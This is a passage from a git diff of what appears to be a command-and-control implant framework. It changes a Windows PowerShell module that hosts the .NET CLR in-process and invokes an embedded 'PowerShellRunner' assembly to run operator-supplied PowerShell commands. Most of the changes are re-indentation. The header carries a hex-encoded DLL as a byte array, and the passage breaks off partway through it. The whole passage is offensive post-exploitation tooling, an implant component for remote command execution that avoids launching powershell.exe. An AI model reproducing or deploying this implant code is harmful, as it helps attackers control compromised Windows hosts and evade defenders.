PowerShellRunner. - hr = spAssembly->GetType_2(bstrClassName, &spType); - if (FAILED(hr)) - { - result+="Failed to get the Type interface.\n"; - return -1; - } + // Get the Type of PowerShellRunner. + hr = spAssembly->GetType_2(bstrClassName, &spType); + if (FAILED(hr)) + { + result+="Failed to get the Type interface.\n"; + return -1; + } - return 0; + return 0; } #endif @@ -412,37 +412,37 @@ int Powershell::initCLR(std::string& result) std::string Powershell::execPowershell(const std::string& cmd) { - std::string result; + std::string result; #ifdef __linux__ #elif _WIN32 - if(m_firstRun) - { - int err = initCLR(result); - m_firstRun=false; - if(err!=0) - { - if (pCorRuntimeHost) - { - pCorRuntimeHost->Release(); - pCorRuntimeHost = NULL; - } - } - } + if(m_firstRun) + { + int err = initCLR(result); + m_firstRun=false; + if(err!=0) + { + if (pCorRuntimeHost) + { + pCorRuntimeHost->Release(); + pCorRuntimeHost = NULL; + } + } + } - if (pCorRuntimeHost) - { - wstring wide_string = wstring(cmd.begin(), cmd.end()); - wchar_t* argument = wide_string.data(); - InvokeMethod(spType, L"InvokePS", argument, result); - } + if (pCorRuntimeHost) + { + wstring wide_string = wstring(cmd.begin(), cmd.end()); + wchar_t* argument = wide_string.data(); + InvokeMethod(spType, L"InvokePS", argument, result); + } #endif - return result; + return result; } @@ -450,45 +450,45 @@ std::string Powershell::execPowershell(const std::string& cmd) void Powershell::InvokeMethod(_TypePtr spType, const wchar_t* method, wchar_t* command, std::string& result) { - HRESULT hr; - bstr_t bstrStaticMethodName(method); - SAFEARRAY *psaStaticMethodArgs = NULL; - variant_t vtStringArg(command); - variant_t vtPSInvokeReturnVal; - variant_t vtEmpty; + HRESULT hr; + bstr_t bstrStaticMethodName(method); + SAFEARRAY *psaStaticMethodArgs = NULL; + variant_t vtStringArg(command); + variant_t vtPSInvokeReturnVal; + variant_t vtEmpty; - psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 1); - LONG index = 0; - hr = SafeArrayPutElement(psaStaticMethodArgs, &index, &vtStringArg); - if (FAILED(hr)) - { - result+="SafeArrayPutElement failed."; - return; - } + psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 1); + LONG index = 0; + hr = SafeArrayPutElement(psaStaticMethodArgs, &index, &vtStringArg); + if (FAILED(hr)) + { + result+="SafeArrayPutElement failed."; + return; + } - // Invoke the method from the Type interface. - hr = spType->InvokeMember_3( - bstrStaticMethodName, - static_cast(BindingFlags_InvokeMethod | BindingFlags_Static | BindingFlags_Public), - NULL, - vtEmpty, - psaStaticMethodArgs, - &vtPSInvokeReturnVal); + // Invoke the method from the Type interface. + hr = spType->InvokeMember_3( + bstrStaticMethodName, + static_cast(BindingFlags_InvokeMethod | BindingFlags_Static | BindingFlags_Public), + NULL, + vtEmpty, + psaStaticMethodArgs, + &vtPSInvokeReturnVal); - if (FAILED(hr)) - { - result+="Failed to invoke InvokePS."; - return; - } - else - { - wstring ws(vtPSInvokeReturnVal.bstrVal); - std::string str(ws.begin(), ws.end()); - result += str; - } + if (FAILED(hr)) + { + result+="Failed to invoke InvokePS."; + return; + } + else + { + wstring ws(vtPSInvokeReturnVal.bstrVal); + std::string str(ws.begin(), ws.end()); + result += str; + } - SafeArrayDestroy(psaStaticMethodArgs); - psaStaticMethodArgs = NULL; + SafeArrayDestroy(psaStaticMethodArgs); + psaStaticMethodArgs = NULL; } #endif \ No newline at end of file diff --git a/modules/Powershell/Powershell.hpp b/modules/Powershell/Powershell.hpp index 9bc00c4..f6199c9 100644 --- a/modules/Powershell/Powershell.hpp +++ b/modules/Powershell/Powershell.hpp @@ -13,8 +13,8 @@ #include // Import mscorlib.tlb (Microsoft Common Language Runtime Class Library). -#import "mscorlib.tlb" auto_rename raw_interfaces_only \ - high_property_prefixes("_get","_put","_putref") \ +#import "mscorlib.tlb" auto_rename raw_interfaces_only \ + high_property_prefixes("_get","_put","_putref") \ rename("ReportEvent", "InteropServices_ReportEvent") #endif @@ -23,32 +23,32 @@ class Powershell : public ModuleCmd { public: - Powershell(); - ~Powershell(); + Powershell(); + ~Powershell(); - std::string getInfo(); + std::string getInfo(); - int init(std::vector& splitedCmd, C2Message& c2Message); - int process(C2Message& c2Message, C2Message& c2RetMessage); - int osCompatibility() - { + int init(std::vector& splitedCmd, C2Message& c2Message); + int process(C2Message& c2Message, C2Message& c2RetMessage); + int osCompatibility() + { return OS_WINDOWS; } private: - std::string execPowershell(const std::string& cmd); + std::string execPowershell(const std::string& cmd); - bool m_firstRun; + bool m_firstRun; - std::string m_modulesToImport; + std::string m_modulesToImport; #ifdef _WIN32 - ICorRuntimeHost *pCorRuntimeHost = NULL; - mscorlib::_TypePtr spType = NULL; + ICorRuntimeHost *pCorRuntimeHost = NULL; + mscorlib::_TypePtr spType = NULL; - int initCLR(std::string& result); - void InvokeMethod(mscorlib::_TypePtr spType, const wchar_t* method, wchar_t* command, std::string& result); + int initCLR(std::string& result); + void InvokeMethod(mscorlib::_TypePtr spType, const wchar_t* method, wchar_t* command, std::string& result); #endif @@ -71,7 +71,7 @@ extern "C" __attribute__((visibility("default"))) Powershell * PowershellConstr #elif _WIN32 static unsigned char PowerShellRunner_dll[] = { - "\x4d\x5a\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x0e\x1f\xba\x0e\x00\xb4\x09\xcd\x21\xb8\x01\x4c\xcd\x21\x54\x68\x69\x73\x20\x70\x72\x6f\x67\x72\x61\x6d\x20\x63\x61\x6e\x6e\x6f\x74\x20\x62\x65\x20\x72\x75\x6e\x20\x69\x6e\x20\x44\x4f\x53\x20\x6d\x6f\x64\x65\x2e\x0d\x0d\x0a\x24\x00\x00\x00\x00\x00\x00\x00\x50\x45\x00\x00\x4c\x01\x03\x00\xe4\x4a\xbc\x63\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x22\x20\x0b\x01\x30\x00\x00\x2e\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x76\x4c\x00\x00\x00\x20\x00\x00\x00\x60\x00\x00\x00\x00\x00\x10\x00\x20\x00\x00\x00\x02\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x03\x00\x60\x85\x00\x00\x10\x00\x00\x10\x00\x00\x00\x00\x10\x00\x00\x10\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x24\x4c\x00\x00\x4f\x00\x00\x00\x00\x60\x00\x00\xb8\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x0c\x00\x00\x00\xec\x4a\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x20\x00\x00\x48\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x2e\x74\x65\x78\x74\x00\x00\x00\x7c\x2c\x00\x00\x00\x20\x00\x00\x00\x2e\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x60\x2e\x72\x73\x72\x63\x00\x00\x00\xb8\x03\x00\x00\x00\x60\x00\x00\x00\x04\x00\x00\x00\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x40\x2e\x72\x65\x6c\x6f\x63\x00\x00\x0c\x00\x00\x00\x00\x80\x00\x00\x00\x02\x00\x00\x00\x34\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x42\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x58\x4c\x00\x00\x00\x00\x00\x00\x48\x00\x00\x00\x02\x00\x05\x00\x94\x24\x00\x00\x58\x26\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1b\x30\x03\x00\x85\x00\x00\x00\x01\x00\x00\x11\x73\x0e\x00\x00\x06\x0a\x28\x0f\x00\x00\x0a\x0b\x07\x14\x6f\x10\x00\x00\x0a\x06\x07\x28\x11\x00\x00\x0a\x0c\x08\x6f\x12\x00\x00\x0a\x08\x6f\x13\x00\x00\x0a\x0d\x09\x6f\x14\x00\x00\x0a\x02\x6f\x15\x00\x00\x0a\x09\x6f\x14\x00\x00\x0a\x16\x6f\x16\x00\x00\x0a\x18\x17\x6f\x17\x00\x00\x0a\x09\x6f\x14\x00\x00\x0a\x72\x01\x00\x00\x70\x6f\x18\x00\x00\x0a\x09\x6f\x19\x00\x00\x0a\x26\xde\x14\x09\x2c\x06\x09\x6f\x1a\x00\x00\x0a\xdc\x08\x2c\x06\x08\x6f\x1a\x00\x00\x0a\xdc\x06\x6f\x1b\x00\x00\x0a\x74\x04\x00\x00\x02\x6f\x1a\x00\x00\x06\x2a\x00\x00\x00\x01\x1c\x00\x00\x02\x00\x28\x00\x38\x60\x00\x0a\x00\x00\x00\x00\x02\x00\x1b\x00\x4f\x6a\x00\x0a\x00\x00\x00\x00\x1e\x02\x28\x1c\x00\x00\x0a\x2a\x1e\x02\x7b\x01\x00\x00\x04\x2a\x1a\x72\x19\x00\x00\x70\x2a\x22\x17\x16\x73\x1d\x00\x00\x0a\x2a\x1e\x02\x7b\x02\x00\x00\x04\x2a\x2e\x28\x1e\x00\x00\x0a\x6f\x1f\x00\x00\x0a\x2a\x2e\x28\x1e\x00\x00\x0a\x6f\x20\x00\x00\x0a\x2a\x2e\x72\x31\x00\x00\x70\x73\x21\x00\x00\x0a\x7a\x2e\x72\xaa\x01\x00\x70\x73\x21\x00\x00\x0a\x7a\x06\x2a\x76\x02\x28\x22\x00\x00\x0a\x7d\x01\x00\x00\x04\x02\x73\x0f\x00\x00\x06\x7d\x02\x00\x00\x04\x02\x28\x23\x00\x00\x0a\x2a\x76\x02\x73\x3b\x00\x00\x06\x7d\x04\x00\x00\x04\x02\x28\x24\x00\x00\x0a\x02\x73\x25\x00\x00\x0a\x7d\x03\x00\x00\x04\x2a\x3a\x02\x7b\x03\x00\x00\x04\x05\x6f\x26\x00\x00\x0a\x26\x2a\x4a\x02\x7b\x03\x00\x00\x04\x72\x21\x03\x00\x70\x6f\x26\x00\x00\x0a\x26\x2a\x62\x02\x7b\x03\x00\x00\x04\x05\x72\x21\x03\x00\x70\x28\x27\x00\x00\x0a\x6f\x26\x00\x00\x0a\x26\x2a\x3a\x02\x7b\x03\x00\x00\x04\x03\x6f\x26\x00\x00\x0a\x26\x2a\x62\x02\x7b\x03\x00\x00\x04\x72\x25\x03\x00\x70\x03\x28\x27\x00\x00\x0a\x6f\x28\x00\x00\x0a\x26\x2a\x62\x02\x7b\x03\x00\x00\x04\x72\x35\x03\x00\x70\x03\x28\x27\x00\x00\x0a\x6f\x28\x00\x00\x0a\x26\x2a\x3a\x02\x7b\x03\x00\x00\x04\x03\x6f\x28\x00\x00\x0a\x26\x2a\x62\x02\x7b\x03\x00\x00\x04\x72\x45\x03\x00\x70\x03\x28\x27\x00\x00\x0a\x6f\x28\x00\x00\x0a\x26\x2a\x62\x02\x7b\x03\x00\x00\x04\x72\x59\x03\x00\x70\x03\x28\x27\x00\x00\x0a\x6f\x28\x00\x00\x0a\x26\x2a\x32\x02\x7b\x03\x00\x00\x04\x6f\x29\x00\x00\x0a\x2a\x2e\x72\x6d\x03\x00\x70\x73\x21\x00\x00\x0a\x7a\x2e\x72\xd0\x04\x00\x70\x73\x21\x00\x00\x0a\x7a\x2e\x72\x45\x06\x00\x70\x73\x21\x00\x00\x0a\x7a\x2e\x72\xc4\x07\x00\x70\x73\x21\x00\x00\x0a\x7a\x1e\x02\x7b\x04\x00\x00\x04\x2a\x2e\x72\x43\x09\x00\x70\x73\x21\x00\x00\x0a\x7a\x2e\x72\xaa\x0a\x00\x70\x73\x21\x00\x00\x0a\x7a\x1e\x02\x7b\x09\x00\x00\x04\x2a\x22\x02\x03\x7d\x09\x00\x00\x04\x2a\x1e\x02\x7b\x0c\x00\x00\x04\x2a\x22\x02\x03\x7d\x0c\x00\x00\x04\x2a\x1e\x02\x7b\x06\x00\x00\x04\x2a\x22\x02\x03\x7d\x06\x00\x00\x04\x2a\x1e\x02\x7b\x07\x00\x00\x04\x2a\x22\x02\x03\x7d\x07\x00\x00\x04\x2a\x2e\x72\x2d\x0c\x00\x70\x73\x21\x00\x00\x0a\x7a\x1e\x02\x7b\x08\x00\x00\x04\x2a\x22\x02\x03\x7d\x08\x00\x00\x04\x2a\x2e\x72\x77\x0c\x00\x70\x73\x21\x00\x00\x0a\x7a\x2e\x72\xc3\x0c\x00\x70\x73\x21\x00\x00\x0a\x7a\x1e\x02\x7b\x0a\x00\x00\x04\x2a\x1e\x02\x7b\x0b\x00\x00\x04\x2a\x2e\x72\x05\x0d\x00\x70\x73\x21\x00\x00\x0a\x7a\x2e\x72\x6a\x0e\x00\x70\x73\x21\x00\x00\x0a\x7a\x2e\x72\xba\x0e\x00\x70\x73\x21\x00\x00\x0a\x7a\x2e\x72\x06\x0f\x00\x70\x73\x21\x00\x00\x0a\x7a\x1e\x02\x7b\x0d\x00\x00\x04\x2a\x22\x02\x03\x7d\x0d\x00\x00\x04\x2a\x1e\x02\x7b\x05\x00\x00\x04\x2a\x22\x02\x03\x7d\x05\x00\x00\x04\x2a\x1e\x02\x7b\x0e\x00\x00\x04\x2a\x22\x02\x03\x7d\x0e\x00\x00\x04\x2a\x13\x30\x03\x00\xec\x00\x00\x00\x02\x00\x00\x11\x02\x12\x00\xfe\x15\x26\x00\x00\x01\x12\x00\x1f\x78\x28\x2a\x00\x00\x0a\x12\x00\x1f\x64\x28\x2b\x00\x00\x0a\x06\x7d\x05\x00\x00\x04\x02\x12\x01\xfe\x15\x27\x00\x00\x01\x12\x01\x16\x28\x2c\x00\x00\x0a\x12\x01\x16\x28\x2d\x00\x00\x0a\x07\x7d\x06\x00\x00\x04\x02\x17\x7d\x07\x00\x00\x04\x02\x1f\x0f\x7d\x08\x00\x00\x04\x02\x12\x00\xfe\x15\x26\x00\x00\x01\x12\x00\x20\xff\xff\xff\x7f\x28\x2a\x00\x00\x0a\x12\x00\x20\xff\xff\xff\x7f\x28\x2b\x00\x00\x0a\x06\x7d\x0a\x00\x00\x04\x02\x12\x00\xfe\x15\x26\x00\x00\x01\x12\x00\x1f\x64\x28\x2a\x00\x00\x0a\x12\x00\x1f\x64\x28\x2b\x00\x00\x0a\x06\x7d\x0b\x00\x00\x04\x02\x12\x00\xfe\x15\x26\x00\x00\x01\x12\x00\x1f\x64\x28\x2a\x00\x00\x0a\x12\x00\x20\xe8\x03\x00\x00\x28\x2b\x00\x00\x0a\x06\x7d\x0c\x00\x00\x04\x02\x12\x01\xfe\x15\x27\x00\x00\x01\x12\x01\x16\x28\x2c\x00\x00\x0a\x12\x01\x16\x28\x2d\x00\x00\x0a\x07\x7d\x0d\x00\x00\x04\x02\x72\x50\x0f\x00\x70\x7d\x0e\x00\x00\x04\x02\x28\x2e\x00\x00\x0a\x2a\x42\x53\x4a\x42\x01\x00\x01\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x76\x34\x2e\x30\x2e\x33\x30\x33\x31\x39\x00\x00\x00\x00\x05\x00\x6c\x00\x00\x00\x7c\x09\x00\x00\x23\x7e\x00\x00\xe8\x09\x00\x00\x48\x0a\x00\x00\x23\x53\x74\x72\x69\x6e\x67\x73\x00\x00\x00\x00\x30\x14\x00\x00\x54\x0f\x00\x00\x23\x55\x53\x00\x84\x23\x00\x00\x10\x00\x00\x00\x23\x47\x55\x49\x44\x00\x00\x00\x94\x23\x00\x00\xc4\x02\x00\x00\x23\x42\x6c\x6f\x62\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x01\x57\x15\xa2\x09\x09\x02\x00\x00\x00\xfa\x01\x33\x00\x16\x00\x00\x01\x00\x00\x00\x34\x00\x00\x00\x05\x00\x00\x00\x0e\x00\x00\x00\x3b\x00\x00\x00\x33\x00\x00\x00\x2e\x00\x00\x00\x0e\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x13\x00\x00\x00\x1b\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x00\x00\x85\x05\x01\x00\x00\x00\x00\x00\x06\x00\x84\x03\x64\x08\x06\x00\xf1\x03\x64\x08\x06\x00\xb8\x02\xf6\x07\x0f\x00\x84\x08\x00\x00\x06\x00\xe0\x02\x3c\x06\x06\x00\x67\x03\x3c\x06\x06\x00\x48\x03\x3c\x06\x06\x00\xd8\x03\x3c\x06\x06\x00\xa4\x03\x3c\x06\x06\x00\xbd\x03\x3c\x06\x06\x00\xf7\x02\x3c\x06\x06\x00\xcc\x02\x45\x08\x06\x00\xaa\x02\x45\x08\x06\x00\x2b\x03\x3c\x06\x06\x00\x12\x03\xf6\x04\x06\x00\x7e\x09\xb3\x05\x0a\x00\x90\x02\x16\x08\x0a\x00\x32\x01\x16\x08\x0a\x00\x57\x02\x16\x08\x0a\x00\x01\x0a\xd9\x09\x06\x00\xab\x00\xb3\x05\x06\x00\xca\x05\xb3\x05\x0a\x00\xe3\x00\xd9\x09\x06\x00\x0f\x07\x27\x06\x06\x00\x28\x07\x13\x0a\x06\x00\xe3\x07\xb3\x05\x0a\x00\xc7\x00\xfe\x05\x06\x00\x0e\x00\x57\x00\x0a\x00\x7c\x09\xfe\x05\x06\x00\x01\x00\x66\x05\x0a\x00\xec\x06\xd9\x09\x0a\x00\xfd\x06\xd9\x09\x0a\x00\x45\x05\xfe\x05\x0a\x00\x93\x08\xfe\x05\x0a\x00\xdc\x08\xfe\x05\x0a\x00\x15\x01\xd9\x09\x06\x00\x1a\x05\x37\x0a\x0a\x00\xe0\x04\xd9\x09\x0a\x00\xd0\x08\xd9\x09\x0a\x00\x9a\x05\xd9\x09\x0a\x00\x95\x01\xd9\x09\x0a\x00\x1b\x07\xd9\x09\x0a\x00\xf2\x08\xd9\x09\x0a\x00\x4b\x07\xfe\x05\x0a\x00\x27\x0a\x16\x08\x0a\x00\x4e\x06\x16\x08\x0a\x00\xb0\x00\x16\x08\x0a\x00\xbc\x08\x16\x08\x06\x00\x89\x01\xb3\x05\x06\x00\x9d\x00\xe5\x04\x06\x00\xd4\x06\xb3\x05\x06\x00\x29\x05\xb3\x05\x00\x00\x00\x00\x1b\x00\x00\x00\x00\x00\x01\x00\x01\x00\x01\x00\x10\x00\x60\x07\x60\x07\x41\x00\x01\x00\x01\x00\x03\x00\x10\x00\xfb\x09\x00\x00\x51\x00\x01\x00\x03\x00\x03\x00\x10\x00\xdd\x00\x00\x00\x5d\x00\x03\x00\x0f\x00\x03\x00\x10\x00\xf7\x00\x00\x00\x91\x00\x05\x00\x22\x00\x01\x00\x8a\x00\xac\x00\x01\x00\x41\x05\xb0\x00\x01\x00\x53\x00\xb4\x00\x01\x00\x3a\x05\xb8\x00\x01\x00\xd9\x04\xbc\x00\x01\x00\x86\x06\xc1\x00\x01\x00\x5d\x04\xc6\x00\x01\x00\x99\x07\xc9\x00\x01\x00\xd2\x07\xc9\x00\x01\x00\xa1\x04\xbc\x00\x01\x00\xca\x04\xbc\x00\x01\x00\x33\x04\xbc\x00\x01\x00\xbc\x06\xc1\x00\x01\x00\xc9\x01\xcd\x00\x50\x20\x00\x00\x00\x00\x96\x00\x35\x00\xd0\x00\x01\x00\x00\x21\x00\x00\x00\x00\x86\x18\xf0\x07\x06\x00\x02\x00\x08\x21\x00\x00\x00\x00\xc6\x08\x72\x00\xd5\x00\x02\x00\x10\x21\x00\x00\x00\x00\xc6\x08\xd6\x01\x8d\x00\x02\x00\x17\x21\x00\x00\x00\x00\xc6\x08\xc6\x05\xda\x00\x02\x00\x20\x21\x00\x00\x00\x00\xc6\x08\x24\x00\x66\x00\x02\x00\x28\x21\x00\x00\x00\x00\xc6\x08\x75\x02\x77\x00\x02\x00\x34\x21\x00\x00\x00\x00\xc6\x08\x60\x02\x77\x00\x02\x00\x40\x21\x00\x00\x00\x00\xc6\x00\xb6\x09\x06\x00\x02\x00\x4c\x21\x00\x00\x00\x00\xc6\x00\xc8\x09\x06\x00\x02\x00\x58\x21\x00\x00\x00\x00\xc6\x00\xe7\x05\x06\x00\x02\x00\x58\x21\x00\x00\x00\x00\xc6\x00\xd2\x05\x06\x00\x02\x00\x58\x21\x00\x00\x00\x00\xc6\x00\x90\x09\x01\x00\x02\x00\x5a\x21\x00\x00\x00\x00\x86\x18\xf0\x07\x06\x00\x03\x00\x78\x21\x00\x00\x00\x00\x86\x18\xf0\x07\x06\x00\x03\x00\x96\x21\x00\x00\x00\x00\xc6\x00\xa4\x02\xdf\x00\x03\x00\xa5\x21\x00\x00\x00\x00\xc6\x00\x18\x02\x06\x00\x06\x00\xb8\x21\x00\x00\x00\x00\xc6\x00\x18\x02\xdf\x00\x06\x00\xd1\x21\x00\x00\x00\x00\xc6\x00\xa4\x02\x10\x00\x09\x00\xe0\x21\x00\x00\x00\x00\xc6\x00\x33\x02\x10\x00\x0a\x00\xf9\x21\x00\x00\x00\x00\xc6\x00\x42\x02\x10\x00\x0b\x00\x12\x22\x00\x00\x00\x00\xc6\x00\x18\x02\x10\x00\x0c\x00\x21\x22\x00\x00\x00\x00\xc6\x00\x07\x02\x10\x00\x0d\x00\x3a\x22\x00\x00\x00\x00\xc6\x00\x22\x02\x10\x00\x0e\x00\x58\x21\x00\x00\x00\x00\xc6\x00\x16\x09\xe8\x00\x0f\x00\x53\x22\x00\x00\x00\x00\x86\x08\x08\x0a\x8d\x00\x11\x00\x60\x22\x00\x00\x00\x00\xc6\x00\xd2\x09\xef\x00\x11\x00\x6c\x22\x00\x00\x00\x00\xc6\x00\x3b\x01\x01\x01\x14\x00\x78\x22\x00\x00\x00\x00\xc6\x00\x52\x05\x0f\x01\x18\x00\x84\x22\x00\x00\x00\x00\xc6\x00\x52\x05\x1f\x01\x1e\x00\x90\x22\x00\x00\x00\x00\xc6\x08\x2b\x00\x29\x01\x22\x00\x98\x22\x00\x00\x00\x00\xc6\x00\xf3\x01\x8d\x00\x22\x00\xa4\x22\x00\x00\x00\x00\xc6\x00\x10\x05\x2f\x01\x22\x00\xb0\x22\x00\x00\x00\x00\xc6\x08\xaa\x07\x35\x01\x22\x00\xb8\x22\x00\x00\x00\x00\xc6\x08\xbe\x07\x3a\x01\x22\x00\xc1\x22\x00\x00\x00\x00\xc6\x08\x15\x04\x40\x01\x23\x00\xc9\x22\x00\x00\x00\x00\xc6\x08\x24\x04\x46\x01\x23\x00\xd2\x22\x00\x00\x00\x00\xc6\x08\x60\x06\x4d\x01\x24\x00\xda\x22\x00\x00\x00\x00\xc6\x08\x73\x06\x53\x01\x24\x00\xe3\x22\x00\x00\x00\x00\xc6\x08\x3f\x04\x5a\x01\x25\x00\xeb\x22\x00\x00\x00\x00\xc6\x08\x4e\x04\x01\x00\x25\x00\xf4\x22\x00\x00\x00\x00\xc6\x00\x36\x07\x06\x00\x26\x00\x00\x23\x00\x00\x00\x00\xc6\x08\x71\x07\x35\x01\x26\x00\x08\x23\x00\x00\x00\x00\xc6\x08\x85\x07\x3a\x01\x26\x00\x11\x23\x00\x00\x00\x00\xc6\x00\x48\x09\x5e\x01\x27\x00\x1d\x23\x00\x00\x00\x00\xc6\x08\x78\x01\x6d\x01\x28\x00\x29\x23\x00\x00\x00\x00\xc6\x08\x87\x04\x40\x01\x28\x00\x31\x23\x00\x00\x00\x00\xc6\x08\xb8\x04\x40\x01\x28\x00\x39\x23\x00\x00\x00\x00\xc6\x00\x1f\x0a\x71\x01\x28\x00\x45\x23\x00\x00\x00\x00\xc6\x00\x33\x09\x7a\x01\x29\x00\x51\x23\x00\x00\x00\x00\xc6\x00\x5a\x09\x8a\x01\x2d\x00\x5d\x23\x00\x00\x00\x00\xc6\x00\x5a\x09\x94\x01\x2f\x00\x69\x23\x00\x00\x00\x00\xc6\x08\x96\x06\x4d\x01\x31\x00\x71\x23\x00\x00\x00\x00\xc6\x08\xa9\x06\x53\x01\x31\x00\x7a\x23\x00\x00\x00\x00\xc6\x08\x69\x04\x40\x01\x32\x00\x82\x23\x00\x00\x00\x00\xc6\x08\x78\x04\x46\x01\x32\x00\x8b\x23\x00\x00\x00\x00\xc6\x08\xa9\x01\x8d\x00\x33\x00\x93\x23\x00\x00\x00\x00\xc6\x08\xb9\x01\x10\x00\x33\x00\x9c\x23\x00\x00\x00\x00\x86\x18\xf0\x07\x06\x00\x34\x00\x00\x00\x01\x00\xb8\x00\x00\x00\x01\x00\x60\x01\x00\x00\x01\x00\x9a\x07\x00\x00\x02\x00\xd3\x07\x00\x00\x03\x00\x0f\x04\x00\x00\x01\x00\x9a\x07\x00\x00\x02\x00\xd3\x07\x00\x00\x03\x00\x0f\x04\x00\x00\x01\x00\x0f\x04\x00\x00\x01\x00\x69\x01\x00\x00\x01\x00\x0f\x04\x00\x00\x01\x00\x0f\x04\x00\x00\x01\x00\x69\x01\x00\x00\x01\x00\x69\x01\x00\x00\x01\x00\x81\x00\x00\x00\x02\x00\xd6\x00\x00\x00\x01\x00\xcc\x06\x00\x00\x02\x00\x69\x01\x00\x00\x03\x00\x01\x09\x00\x00\x01\x00\xcc\x06\x00\x00\x02\x00\x69\x01\x00\x00\x03\x00\x3d\x08\x00\x00\x04\x00\x4b\x01\x00\x00\x01\x00\xcc\x06\x00\x00\x02\x00\x69\x01\x00\x00\x03\x00\xdf\x01\x00\x00\x04\x00\xe8\x01\x00\x00\x05\x00\xa5\x08\x00\x00\x06\x00\x0e\x09\x00\x00\x01\x00\xcc\x06\x00\x00\x02\x00\x69\x01\x00\x00\x03\x00\xdf\x01\x00\x00\x04\x00\xe8\x01\x00\x00\x01\x00\x0f\x04\x00\x00\x01\x00\x0f\x04\x00\x00\x01\x00\x0f\x04\x00\x00\x01\x00\x0f\x04\x00\x00\x01\x00\x0f\x04\x00\x00\x01\x00\x9f\x01\x00\x00\x01\x00\x0e\x09\x00\x00\x01\x00\x59\x01\x00\x00\x02\x00\x1b\x06\x00\x00\x03\x00\x23\x07\x00\x00\x04\x00\xa5\x05\x00\x00\x01\x00\x9f\x01\x00\x00\x02\x00\xa5\x05\x00\x00\x01\x00\xbf\x05\x00\x00\x02\x00\x6c\x09\x00\x00\x01\x00\x0f\x04\x00\x00\x01\x00\x0f\x04\x00\x00\x01\x00\x0f\x04\x09\x00\xf0\x07\x01\x00\x11\x00\xf0\x07\x06\x00\x19\x00\xf0\x07\x0a\x00\x29\x00\xf0\x07\x10\x00\x31\x00\xf0\x07\x10\x00\x39\x00\xf0\x07\x10\x00\x41\x00\xf0\x07\x10\x00\x49\x00\xf0\x07\x10\x00\x51\x00\xf0\x07\x10\x00\x59\x00\xf0\x07\x10\x00\x61\x00\xf0\x07\x15\x00\x69\x00\xf0\x07\x10\x00\x71\x00\xf0\x07\x10\x00\x79\x00\xf0\x07\x10\x00\x89\x00\x9e\x09\x25\x00\x89\x00\x47\x07\x2a\x00\x69\x01\x2c\x01\x31\x00\x91\x00\xba\x05\x06\x00\x91\x00\x51\x02\x3a\x00\x99\x00\x09\x08\x3f\x00\x71\x01\xac\x09\x10\x00\x0c\x00\xaa\x05\x4d\x00\x79\x01\x24\x09\x53\x00\x71\x01\xa4\x00\x10\x00\x99\x00\x71\x01\x5d\x00\x89\x01\x88\x02\x06\x00\xa1\x00\x24\x00\x66\x00\x81\x00\xf0\x07\x06\x00\xb1\x00\xf0\x07\x6b\x00\x91\x01\x92\x00\x71\x00\x91\x01\x75\x02\x77\x00\x91\x01\x60\x02\x77\x00\x99\x01\xf0\x07\x10\x00\xa9\x00\xa8\x00\x7c\x00\xa1\x00\xf0\x07\x06\x00\xb9\x00\xf0\x07\x06\x00\xc9\x00\xf0\x07\x06\x00\xc9\x00\xc0\x00\x81\x00\xa1\x01\x75\x09\x87\x00\xc9\x00\xfc\x01\x81\x00\x81\x00\x27\x05\x8d\x00\x31\x01\x30\x05\x01\x00\x31\x01\x85\x09\x01\x00\x39\x01\x3e\x00\x01\x00\x39\x01\x44\x00\x01\x00\x21\x01\xf0\x07\x06\x00\x2e\x00\x0b\x00\xdb\x01\x2e\x00\x13\x00\xe4\x01\x2e\x00\x1b\x00\x03\x02\x2e\x00\x23\x00\x0c\x02\x2e\x00\x2b\x00\x22\x02\x2e\x00\x33\x00\x22\x02\x2e\x00\x3b\x00\x22\x02\x2e\x00\x43\x00\x0c\x02\x2e\x00\x4b\x00\x28\x02\x2e\x00\x53\x00\x22\x02\x2e\x00\x5b\x00\x22\x02\x2e\x00\x63\x00\x40\x02\x2e\x00\x6b\x00\x6a\x02\x2e\x00\x73\x00\x77\x02\x1a\x00\x91\x00\x03\x00\x01\x00\x04\x00\x07\x00\x05\x00\x09\x00\x00\x00\x76\x00\xa4\x01\x00\x00\xee\x01\xa